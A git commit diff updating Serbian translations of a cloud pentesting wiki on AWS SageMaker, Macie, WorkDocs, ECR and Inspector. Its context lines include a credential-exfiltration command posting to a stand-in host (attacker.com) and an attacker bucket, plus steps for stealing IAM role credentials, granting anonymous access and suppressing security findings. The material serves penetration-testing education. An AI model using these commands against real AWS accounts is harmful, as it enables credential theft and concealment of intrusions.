Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

This commit is contained in:
Translator
2025-08-01 10:14:00 +00:00
parent 35797d8db1
commit aa1a9a1d1e
47 changed files with 537 additions and 354 deletions

View File

@@ -1 +1,3 @@
# AWS - Persistencija
# AWS - Održavanje
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,11 +1,13 @@
# AWS - SageMaker Lifecycle Configuration Persistence
# Aws Sagemaker Persistence
## Pregled tehnika postojanosti
{{#include ../../../banners/hacktricks-training.md}}
Ovaj odeljak opisuje metode za sticanje postojanosti u SageMaker-u zloupotrebom Lifecycle Configurations (LCCs), uključujući reverzne shelove, cron poslove, krađu kredencijala putem IMDS-a i SSH backdoor-e. Ovi skripti se izvršavaju sa IAM ulogom instance i mogu da opstanu kroz restarte. Većina tehnika zahteva izlazni pristup mreži, ali korišćenje usluga na AWS kontrolnoj ravni može i dalje omogućiti uspeh ako je okruženje u 'VPC-only' režimu.
## Pregled Tehnika Održavanja
Ovaj deo opisuje metode za sticanje održavanja u SageMaker-u zloupotrebom Lifecycle Configurations (LCCs), uključujući reverzne shelle, cron poslove, krađu kredencijala putem IMDS-a i SSH backdoor-e. Ovi skripti se izvršavaju sa IAM ulogom instance i mogu da opstanu kroz restartovanje. Većina tehnika zahteva izlazni pristup mreži, ali korišćenje usluga na AWS kontrolnoj ravni može i dalje omogućiti uspeh ako je okruženje u 'VPC-only' režimu.
#### Napomena: SageMaker notebook instance su u suštini upravljane EC2 instance konfigurirane posebno za radne opterećenja mašinskog učenja.
## Potrebne dozvole
## Potrebne Dozvole
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
@@ -13,7 +15,7 @@ sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio aplikacije:
* Studio Aplikacije:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
@@ -77,7 +79,7 @@ Konfiguracije životnog ciklusa mogu se posebno primeniti na različite tipove S
* KernelGateway: Izvršava se tokom pokretanja aplikacije kernel gateway, korisno za inicijalnu postavku ili postojan pristup.
* CodeEditor: Primjenjuje se na Code Editor (Code-OSS), omogućavajući skripte koje se izvršavaju pri početku sesija uređivanja koda.
### Primer komande za svaku vrstu:
### Primer komande za svaki tip:
### JupyterServer
```bash
@@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# AWS - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Za više informacija o Macie pogledajte:
### Amazon Macie - Zaobilaženje `Reveal Sample` integriteta
AWS Macie je bezbednosna usluga koja automatski otkriva osetljive podatke unutar AWS okruženja, kao što su akreditivi, lične identifikacione informacije (PII) i drugi poverljivi podaci. Kada Macie identifikuje osetljiv akreditiv, kao što je AWS tajni ključ smešten u S3 bucket-u, generiše nalaz koji omogućava vlasniku da pogleda "uzorak" otkrivenih podataka. Obično, kada se osetljivi fajl ukloni iz S3 bucket-a, očekuje se da tajna više ne može biti povučena.
AWS Macie je bezbednosna usluga koja automatski otkriva osetljive podatke unutar AWS okruženja, kao što su akreditivi, lične identifikacione informacije (PII) i drugi poverljivi podaci. Kada Macie identifikuje osetljiv akreditiv, kao što je AWS tajni ključ smešten u S3 kanti, generiše nalaz koji omogućava vlasniku da pogleda "uzorak" otkrivenih podataka. Obično, kada se osetljivi fajl ukloni iz S3 kante, očekuje se da tajna više ne može biti povučena.
Međutim, identifikovano je **zaobilaženje** gde napadač sa dovoljnim dozvolama može **ponovo da otpremi fajl sa istim imenom** ali koji sadrži različite, neosetljive lažne podatke. To uzrokuje da Macie poveže novo otpremljeni fajl sa originalnim nalazom, omogućavajući napadaču da koristi **"Reveal Sample" funkciju** da izvuče prethodno otkrivenu tajnu. Ovaj problem predstavlja značajan bezbednosni rizik, jer tajne za koje se smatralo da su obrisane ostaju dostupne ovom metodom.
@@ -20,18 +20,19 @@ Međutim, identifikovano je **zaobilaženje** gde napadač sa dovoljnim dozvolam
**Koraci za reprodukciju:**
1. Otpremite fajl (npr., `test-secret.txt`) u S3 bucket sa osetljivim podacima, kao što je AWS tajni ključ. Sačekajte da AWS Macie skenira i generiše nalaz.
1. Otpremite fajl (npr., `test-secret.txt`) u S3 kantu sa osetljivim podacima, kao što je AWS tajni ključ. Sačekajte da AWS Macie skenira i generiše nalaz.
2. Idite na AWS Macie Findings, locirajte generisani nalaz i koristite **Reveal Sample** funkciju da pogledate otkrivenu tajnu.
3. Obrišite `test-secret.txt` iz S3 bucket-a i proverite da više ne postoji.
3. Obrišite `test-secret.txt` iz S3 kante i proverite da više ne postoji.
4. Kreirajte novi fajl pod imenom `test-secret.txt` sa lažnim podacima i ponovo ga otpremite u isti S3 bucket koristeći **napadačev nalog**.
4. Kreirajte novi fajl pod imenom `test-secret.txt` sa lažnim podacima i ponovo ga otpremite u istu S3 kantu koristeći **napadačev račun**.
5. Vratite se na AWS Macie Findings, pristupite originalnom nalazu i ponovo kliknite na **Reveal Sample**.
6. Primetite da Macie i dalje otkriva originalnu tajnu, uprkos tome što je fajl obrisan i zamenjen različitim sadržajem **iz različitih naloga, u našem slučaju to će biti napadačev nalog**.
6. Primetite da Macie i dalje otkriva originalnu tajnu, uprkos tome što je fajl obrisan i zamenjen različitim sadržajem **iz različitih računa, u našem slučaju to će biti napadačev račun**.
**Sažetak:**
Ova ranjivost omogućava napadaču sa dovoljnim AWS IAM dozvolama da povrati prethodno otkrivene tajne čak i nakon što je originalni fajl obrisan iz S3. Ako je AWS tajni ključ, pristupni token ili drugi osetljivi akreditiv izložen, napadač bi mogao iskoristiti ovu manu da ga povrati i dobije neovlašćen pristup AWS resursima. To bi moglo dovesti do eskalacije privilegija, neovlašćenog pristupa podacima ili daljeg kompromitovanja cloud resursa, što rezultira curenjem podataka i prekidima usluga.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,12 @@
# AWS - Sagemaker Privesc
## AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
## AWS - Sagemaker Privesc
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
Počnite sa kreiranjem beležnice sa IAM rolom koja je povezana sa njom:
```bash
@@ -25,7 +27,7 @@ Sada je moguće pristupiti metapodacima kredencijala IAM Role.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
Ako su Jupyter **notebook-i već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**.
Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
@@ -33,7 +35,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom povezanu. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale povezane IAM uloge**.
Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale IAM uloge koja je povezana**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -52,7 +54,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
Napadač sa tim dozvolama će moći da kreira trening posao, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge.
> [!WARNING]
> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete da navedete početnu komandu u konfiguraciji trening posla).
> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će direktno slati rev shell ili kredencijale napadaču (ne možete da navedete početnu komandu u konfiguraciji trening posla).
>
> ```bash
> # Kreirajte docker sliku

View File

@@ -1,5 +1,7 @@
# AWS - WorkDocs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## WorkDocs
Za više informacija o WorkDocs, proverite:
@@ -15,7 +17,7 @@ Kreirajte korisnika unutar naznačenog direktorijuma, tada ćete imati pristup i
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)`
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
Fajlovi mogu sadržati osetljive informacije, pročitajte ih:
```bash
@@ -30,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`
Ako nemate pristup da nešto pročitate, možete jednostavno dodeliti pristup.
Ako nemate pristup da pročitate nešto, možete jednostavno dodeliti pristup.
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -43,4 +45,9 @@ Za to pratite uputstva sa [https://docs.aws.amazon.com/workdocs/latest/adminguid
Prijavite se sa tim korisnikom u workdocs i pristupite administratorskom panelu na `/workdocs/index.html#/admin`
Nisam našao način da to uradim iz cli.
Nisam našao nijedan način da to uradim iz cli-a.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,14 +1,12 @@
# AWS - ECR Enum
## AWS - ECR Enum
{{#include ../../../banners/hacktricks-training.md}}
### ECR
## ECR
#### Osnovne informacije
### Osnovne informacije
Amazon **Elastic Container Registry** (Amazon ECR) je **usluga registrovanja slika kontejnera** koja se upravlja. Dizajnirana je da pruži okruženje u kojem kupci mogu da interaguju sa svojim slikama kontejnera koristeći poznate interfejse. Konkretno, podržava se korišćenje Docker CLI-a ili bilo kog preferiranog klijenta, omogućavajući aktivnosti kao što su slanje, preuzimanje i upravljanje slikama kontejnera.
Amazon **Elastic Container Registry** (Amazon ECR) je **usluga registrovanja slika kontejnera**. Dizajnirana je da pruži okruženje u kojem kupci mogu da interaguju sa svojim slikama kontejnera koristeći poznate interfejse. Konkretno, podržava se korišćenje Docker CLI-a ili bilo kog preferiranog klijenta, omogućavajući aktivnosti kao što su slanje, preuzimanje i upravljanje slikama kontejnera.
ECR se sastoji od 2 tipa objekata: **Registri** i **Repozitorijumi**.
@@ -21,11 +19,11 @@ Svaki AWS nalog ima 2 registra: **Privatni** i **Javni**.
- **Privatno po defaultu**: Slike kontejnera smeštene u Amazon ECR privatnom registru su **samo dostupne ovlašćenim korisnicima** unutar vašeg AWS naloga ili onima kojima je data dozvola.
- URI **privatnog repozitorijuma** prati format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
- **Kontrola pristupa**: Možete **kontrolisati pristup** svojim privatnim slikama kontejnera koristeći **IAM politike**, i možete konfigurisati precizne dozvole na osnovu korisnika ili uloga.
- **Integracija sa AWS uslugama**: Amazon ECR privatni registri se lako mogu **integrisati sa drugim AWS uslugama**, kao što su EKS, ECS...
- **Integracija sa AWS uslugama**: Amazon ECR privatni registri se mogu lako **integrisati sa drugim AWS uslugama**, kao što su EKS, ECS...
- **Druge opcije privatnog registra**:
- Kolona imutabilnosti oznaka prikazuje njen status, ako je imutabilnost oznaka omogućena, ona će **sprečiti** slanje slika sa **već postojećim oznakama** da prepisuju slike.
- Kolona **Tip enkripcije** prikazuje svojstva enkripcije repozitorijuma, prikazuje podrazumevane tipove enkripcije kao što su AES-256, ili ima **KMS** omogućene enkripcije.
- Kolona **Pull through cache** prikazuje njen status, ako je status Pull through cache Aktivan, on će keširati **repozitorijume u spoljnjem javnom repozitorijumu u vaš privatni repozitorijum**.
- Kolona **Pull through cache** prikazuje njen status, ako je status Pull through cache aktivan, on će keširati **repozitorijume u spoljnjem javnom repozitorijumu u vaš privatni repozitorijum**.
- Specifične **IAM politike** mogu biti konfigurisane da dodele različite **dozvole**.
- **Konfiguracija skeniranja** omogućava skeniranje na ranjivosti u slikama smeštenim unutar repozitorijuma.
@@ -47,7 +45,7 @@ Ovo su **slike** koje se nalaze u **privatnom registru** ili u **javnom**.
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
#### Enumeracija
### Enumeracija
```bash
# Get repos
aws ecr describe-repositories
@@ -67,13 +65,13 @@ aws ecr-public describe-repositories
aws ecr get-registry-policy
aws ecr get-repository-policy --repository-name <repo_name>
```
#### Neautentifikovana Enum
### Neautentifikovana Enum
{{#ref}}
../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
{{#endref}}
#### Privesc
### Privesc
Na sledećoj stranici možete proveriti kako da **zloupotrebite ECR dozvole za eskalaciju privilegija**:
@@ -81,13 +79,13 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite ECR dozvole za e
../aws-privilege-escalation/aws-ecr-privesc.md
{{#endref}}
#### Post Eksploatacija
### Post Eksploatacija
{{#ref}}
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
#### Persistencija
### Perzistencija
{{#ref}}
../aws-persistence/aws-ecr-persistence.md

View File

@@ -1 +1,3 @@
# AWS - Bezbednost i Detekcione Usluge
# AWS - Bezbednost i Detekcija Servisa
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,8 @@
# AWS - Inspector Enum
## AWS - Inspector Enum
{{#include ../../../../banners/hacktricks-training.md}}
### Inspector
## Inspector
Amazon Inspector je napredna, automatizovana usluga za upravljanje ranjivostima koja je dizajnirana da poboljša bezbednost vašeg AWS okruženja. Ova usluga kontinuirano skenira Amazon EC2 instance, slike kontejnera u Amazon ECR, Amazon ECS i AWS Lambda funkcije za ranjivosti i neželjeno izlaganje mreži. Korišćenjem robusne baze podataka o ranjivostima, Amazon Inspector pruža detaljna otkrića, uključujući nivoe ozbiljnosti i preporuke za otklanjanje, pomažući organizacijama da proaktivno identifikuju i reše bezbednosne rizike. Ovaj sveobuhvatan pristup osigurava ojačanu bezbednosnu poziciju širom različitih AWS usluga, pomažući u usklađenosti i upravljanju rizicima.
@@ -18,7 +16,7 @@ Otkrića u Amazon Inspector su detaljni izveštaji o ranjivostima i izloženosti
- **Zatvoreno**: Otkriće je otklonjeno.
- **Potisnuto**: Otkriće je označeno ovim stanjem zbog jednog ili više **pravila potiskivanja**.
Otkrića se takođe kategorizuju u sledeće tri vrste:
Otkrića su takođe kategorizovana u sledeće tri vrste:
- **Paket**: Ova otkrića se odnose na ranjivosti u softverskim paketima instaliranim na vašim resursima. Primeri uključuju zastarele biblioteke ili zavisnosti sa poznatim bezbednosnim problemima.
- **Kod**: Ova kategorija uključuje ranjivosti pronađene u kodu aplikacija koje rade na vašim AWS resursima. Uobičajeni problemi su greške u kodiranju ili nesigurne prakse koje mogu dovesti do bezbednosnih propusta.
@@ -26,11 +24,11 @@ Otkrića se takođe kategorizuju u sledeće tri vrste:
#### Filteri i pravila potiskivanja
Filteri i pravila potiskivanja u Amazon Inspector pomažu u upravljanju i prioritetizaciji otkrića. Filteri vam omogućavaju da precizirate otkrića na osnovu specifičnih kriterijuma, kao što su ozbiljnost ili tip resursa. Pravila potiskivanja omogućavaju vam da potisnete određena otkrića koja se smatraju niskim rizikom, koja su već mitigirana, ili iz bilo kog drugog važnog razloga, sprečavajući ih da preopterete vaše bezbednosne izveštaje i omogućavajući vam da se fokusirate na kritičnije probleme.
Filteri i pravila potiskivanja u Amazon Inspector pomažu u upravljanju i prioritetizaciji otkrića. Filteri vam omogućavaju da precizirate otkrića na osnovu specifičnih kriterijuma, kao što su ozbiljnost ili tip resursa. Pravila potiskivanja omogućavaju vam da potisnete određena otkrića koja se smatraju niskim rizikom, koja su već ublažena, ili iz bilo kog drugog važnog razloga, sprečavajući ih da preopterete vaše bezbednosne izveštaje i omogućavajući vam da se fokusirate na kritičnije probleme.
#### Softverski račun o materijalima (SBOM)
Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježdena lista inventara koja detaljno opisuje sve komponente unutar softverskog paketa, uključujući biblioteke i zavisnosti. SBOM-ovi pomažu u pružanju transparentnosti u lancu snabdevanja softverom, omogućavajući bolje upravljanje ranjivostima i usklađenost. Oni su ključni za identifikaciju i mitigaciju rizika povezanih sa open source i komponentama trećih strana.
Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježdena lista inventara koja detaljno opisuje sve komponente unutar softverskog paketa, uključujući biblioteke i zavisnosti. SBOM-ovi pomažu u pružanju transparentnosti u softverskom lancu snabdevanja, omogućavajući bolje upravljanje ranjivostima i usklađenost. Oni su ključni za identifikaciju i ublažavanje rizika povezanih sa open source i softverskim komponentama trećih strana.
### Ključne karakteristike
@@ -38,21 +36,21 @@ Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježde
Amazon Inspector nudi mogućnost izvoza otkrića u Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, što vam omogućava da generišete detaljne izveštaje o identifikovanim ranjivostima i izloženostima za dalju analizu ili deljenje na određeni datum i vreme. Ova funkcija podržava različite formate izlaza kao što su CSV i JSON, olakšavajući integraciju sa drugim alatima i sistemima. Funkcionalnost izvoza omogućava prilagođavanje podataka uključenih u izveštaje, omogućavajući vam da filtrirate otkrića na osnovu specifičnih kriterijuma kao što su ozbiljnost, tip resursa ili vremenski opseg, uključujući po defaultu sva vaša otkrića u trenutnoj AWS regiji sa aktivnim statusom.
Kada izvozite otkrića, potrebna je ključna usluga za upravljanje ključevima (KMS) za enkripciju podataka tokom izvoza. KMS ključevi osiguravaju da su izvezena otkrića zaštićena od neovlašćenog pristupa, pružajući dodatni sloj bezbednosti za osetljive informacije o ranjivostima.
Kada izvozite otkrića, potrebna je ključeva za upravljanje ključevima (KMS) za enkripciju podataka tokom izvoza. KMS ključevi osiguravaju da su izvezena otkrića zaštićena od neovlašćenog pristupa, pružajući dodatni sloj bezbednosti za osetljive informacije o ranjivostima.
#### Skeniranje Amazon EC2 instanci
Amazon Inspector nudi robusne mogućnosti skeniranja za Amazon EC2 instance kako bi otkrio ranjivosti i bezbednosne probleme. Inspector upoređuje izvučene metapodatke iz EC2 instance sa pravilima iz bezbednosnih saveta kako bi proizveo ranjivosti paketa i probleme sa dostupnošću mreže. Ova skeniranja se mogu izvesti putem **agent-based** ili **agentless** metoda, u zavisnosti od konfiguracije **scan mode** postavki vašeg naloga.
- **Agent-Based**: Koristi AWS Systems Manager (SSM) agenta za izvođenje dubokih skeniranja. Ova metoda omogućava sveobuhvatno prikupljanje i analizu podataka direktno sa instance.
- **Agentless**: Pruža laganu alternativu koja ne zahteva instalaciju agenta na instanci, kreirajući EBS snimak svake zapremine EC2 instance, tražeći ranjivosti, a zatim ga brišući; koristeći postojeću AWS infrastrukturu za skeniranje.
- **Agentless**: Pruža laganu alternativu koja ne zahteva instalaciju agenta na instanci, kreirajući EBS snimak svake jedinice EC2 instance, tražeći ranjivosti, a zatim ga brišući; koristeći postojeću AWS infrastrukturu za skeniranje.
Način skeniranja određuje koja metoda će se koristiti za izvođenje EC2 skeniranja:
Način skeniranja određuje koja će se metoda koristiti za izvođenje EC2 skeniranja:
- **Agent-Based**: Uključuje instalaciju SSM agenta na EC2 instancama za duboku inspekciju.
- **Hibridno skeniranje**: Kombinuje agent-based i agentless metode kako bi maksimizirao pokrivenost i minimizirao uticaj na performanse. Na onim EC2 instancama gde je instaliran SSM agent, Inspector će izvesti agent-based skeniranje, a za one gde nema SSM agenta, skeniranje će biti agentless.
- **Hybrid Scanning**: Kombinuje agent-based i agentless metode kako bi maksimizirao pokrivenost i minimizirao uticaj na performanse. Na onim EC2 instancama gde je instaliran SSM agent, Inspector će izvesti agent-based skeniranje, a za one gde nema SSM agenta, skeniranje će biti agentless.
Još jedna važna karakteristika je **duboka inspekcija** za EC2 Linux instance. Ova funkcija nudi temeljnu analizu softvera i konfiguracije EC2 Linux instanci, pružajući detaljne procene ranjivosti, uključujući ranjivosti operativnog sistema, ranjivosti aplikacija i pogrešne konfiguracije, osiguravajući sveobuhvatnu bezbednosnu evaluaciju. Ovo se postiže inspekcijom **prilagođenih putanja** i svih njihovih poddirektorijuma. Po defaultu, Amazon Inspector će skenirati sledeće, ali svaki član naloga može definisati do 5 dodatnih prilagođenih putanja, a svaki delegirani administrator do 10:
Još jedna važna karakteristika je **duboka inspekcija** za EC2 Linux instance. Ova funkcija nudi temeljnu analizu softvera i konfiguracije EC2 Linux instanci, pružajući detaljne procene ranjivosti, uključujući ranjivosti operativnog sistema, ranjivosti aplikacija i pogrešne konfiguracije, osiguravajući sveobuhvatnu bezbednosnu evaluaciju. Ovo se postiže inspekcijom **custom paths** i svih njegovih poddirektorijuma. Po defaultu, Amazon Inspector će skenirati sledeće, ali svaki član naloga može definisati do 5 dodatnih prilagođenih putanja, a svaki delegirani administrator do 10:
- `/usr/lib`
- `/usr/lib64`
@@ -68,14 +66,14 @@ Amazon Inspector pruža robusne mogućnosti skeniranja za slike kontejnera Amazo
#### Skeniranje AWS Lambda funkcija
Amazon Inspector uključuje sveobuhvatne mogućnosti skeniranja za AWS Lambda funkcije i njihove slojeve, osiguravajući bezbednost i integritet serverless aplikacija. Inspector nudi dve vrste skeniranja za Lambda funkcije:
Amazon Inspector uključuje sveobuhvatne mogućnosti skeniranja za AWS Lambda funkcije i njene slojeve, osiguravajući bezbednost i integritet serverless aplikacija. Inspector nudi dve vrste skeniranja za Lambda funkcije:
- **Standardno skeniranje Lambda**: Ova podrazumevana funkcija identifikuje softverske ranjivosti u zavisnostima paketa aplikacije dodatim vašoj Lambda funkciji i slojevima. Na primer, ako vaša funkcija koristi verziju biblioteke kao što je python-jwt sa poznatom ranjivošću, generiše otkriće.
- **Skeniranje koda Lambda**: Analizira prilagođeni kod aplikacije za bezbednosne probleme, otkrivajući ranjivosti poput grešaka u injekciji, curenja podataka, slabe kriptografije i nedostatka enkripcije. Zapisuje delove koda koji ističu otkrivene ranjivosti, kao što su hardkodovane akreditive. Otkrića uključuju detaljne preporuke za otklanjanje i delove koda za ispravljanje problema.
- **Lambda standardno skeniranje**: Ova podrazumevana funkcija identifikuje softverske ranjivosti u zavisnostima paketa aplikacije dodatim vašoj Lambda funkciji i slojevima. Na primer, ako vaša funkcija koristi verziju biblioteke kao što je python-jwt sa poznatom ranjivošću, generiše otkriće.
- **Lambda skeniranje koda**: Analizira prilagođeni kod aplikacije za bezbednosne probleme, otkrivajući ranjivosti kao što su greške u injekciji, curenje podataka, slaba kriptografija i nedostatak enkripcije. Zapisuje delove koda koji ističu otkrivene ranjivosti, kao što su hardkodovane akreditive. Otkrića uključuju detaljne preporuke za otklanjanje i delove koda za ispravljanje problema.
#### **CIS skeniranja**
Amazon Inspector uključuje CIS skeniranja za benchmark operativnih sistema Amazon EC2 instanci prema preporukama najboljih praksi iz Centra za internet bezbednost (CIS). Ova skeniranja osiguravaju da konfiguracije budu u skladu sa industrijskim standardima bezbednosti.
Amazon Inspector uključuje CIS skeniranja za upoređivanje operativnih sistema Amazon EC2 instanci sa preporukama najboljih praksi iz Centra za internet bezbednost (CIS). Ova skeniranja osiguravaju da konfiguracije budu u skladu sa industrijskim standardima bezbednosnih osnova.
- **Konfiguracija**: CIS skeniranja procenjuju da li sistemske konfiguracije ispunjavaju specifične preporuke CIS Benchmark-a, pri čemu je svaka provera povezana sa CIS ID-om provere i naslovom.
- **Izvršenje**: Skeniranja se izvode ili zakazuju na osnovu oznaka instanci i definisanih rasporeda.
@@ -182,25 +180,25 @@ aws inspector list-exclusions --assessment-run-arn <arn>
## Rule packages
aws inspector list-rules-packages
```
### Post Eksploatacija
### Post Exploatacija
> [!TIP]
> Iz perspektive napadača, ova usluga može pomoći napadaču da pronađe ranjivosti i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge instance/kontejnere.
> Iz perspektive napadača, ova usluga može pomoći napadaču da pronađe ranjivosti i izloženosti mreže koje bi mu mogle pomoći da kompromituje druge instance/kontejnere.
>
> Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako bi žrtva mogla da vidi ranjivosti (sve ili specifične).
> Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako bi žrtva ne mogla da vidi ranjivosti (sve ili specifične).
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
Napadač bi mogao generisati detaljne izveštaje o ranjivostima ili softverskom računu materijala (SBOM) i eksfiltrirati ih iz vašeg AWS okruženja. Ove informacije bi mogle biti iskorišćene za identifikaciju specifičnih slabosti, zastarelog softvera ili nesigurnih zavisnosti, omogućavajući ciljanje napada.
Napadač bi mogao generisati detaljne izveštaje o ranjivostima ili softverskim računima materijala (SBOM) i exfiltrirati ih iz vašeg AWS okruženja. Ove informacije bi mogle biti iskorišćene za identifikaciju specifičnih slabosti, zastarelog softvera ili nesigurnih zavisnosti, omogućavajući ciljanje napada.
```bash
# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
```
Sledeći primer pokazuje kako izvesti sve aktivne nalaze iz Amazon Inspector-a u Amazon S3 Bucket koji kontroliše napadač, koristeći ključ Amazon KMS koji takođe kontroliše napadač:
Sledeći primer pokazuje kako izvesti sve aktivne nalaze iz Amazon Inspectora u Amazon S3 Bucket koji kontroliše napadač, koristeći ključ Amazon KMS koji takođe kontroliše napadač:
1. **Kreirajte Amazon S3 Bucket** i prikačite politiku kako bi bio dostupan iz žrtvinog Amazon Inspector-a:
1. **Kreirajte Amazon S3 Bucket** i prikačite politiku kako bi bila dostupna iz žrtvinog Amazon Inspectora:
```json
{
"Version": "2012-10-17",
@@ -225,7 +223,7 @@ Sledeći primer pokazuje kako izvesti sve aktivne nalaze iz Amazon Inspector-a u
]
}
```
2. **Kreirajte Amazon KMS ključ** i prikačite politiku na njega kako bi bio upotrebljiv od strane žrtvinog Amazon Inspector-a:
2. **Kreirajte Amazon KMS ključ** i prikačite politiku na njega kako bi bio upotrebljiv od strane žrtvinog Amazon Inspectora:
```json
{
"Version": "2012-10-17",
@@ -285,17 +283,17 @@ aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [
# Delete
aws inspector2 delete-filter --arn <value>
```
- **Potencijalni Uticaj**: Sakrivanje ili potiskivanje kritičnih ranjivosti, ili preplavljivanje sistema nevažnim nalazima.
- **Potencijalni Uticaj**: Sakrivanje ili suzbijanje kritičnih ranjivosti, ili preplavljivanje sistema nebitnim nalazima.
#### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`)
Napadač bi mogao značajno da ometa strukturu upravljanja bezbednošću.
- Onemogućavanjem delegiranog administratorskog naloga, napadač bi mogao sprečiti bezbednosni tim da pristupi i upravlja podešavanjima i izveštajima Amazon Inspectora.
- Omogućavanje neovlašćenog administratorskog naloga bi omogućilo napadaču da kontroliše bezbednosne konfiguracije, potencijalno onemogućavajući skeniranja ili menjajući podešavanja kako bi sakrio zlonamerne aktivnosti.
- Omogućavanje neovlašćenog administratorskog naloga omogućilo bi napadaču da kontroliše bezbednosne konfiguracije, potencijalno onemogućavajući skeniranja ili menjajući podešavanja kako bi sakrio zlonamerne aktivnosti.
> [!WARNING]
> Neovlašćeni nalog mora biti u istoj Organizaciji kao žrtva da bi postao delegirani administrator.
> Neophodno je da neovlašćeni nalog bude u istoj Organizaciji kao žrtva kako bi postao delegirani administrator.
>
> Da bi neovlašćeni nalog postao delegirani administrator, takođe je potrebno da nakon što je legitimni delegirani administrator onemogućen, i pre nego što neovlašćeni nalog bude omogućen kao delegirani administrator, legitimni administrator mora biti deregistrovan kao delegirani administrator iz organizacije. Ovo se može uraditi sledećom komandom (**`organizations:DeregisterDelegatedAdministrator`** dozvola potrebna): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
```bash
@@ -318,11 +316,11 @@ aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
```
- **Potencijalni Uticaj**: Isključenje ključnih naloga iz bezbednosnih skeniranja, omogućavajući neotkrivenu eksploataciju ranjivosti.
- **Potencijalni uticaj**: Isključenje ključnih naloga iz bezbednosnih skeniranja, omogućavajući neotkrivenu eksploataciju ranjivosti.
#### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`)
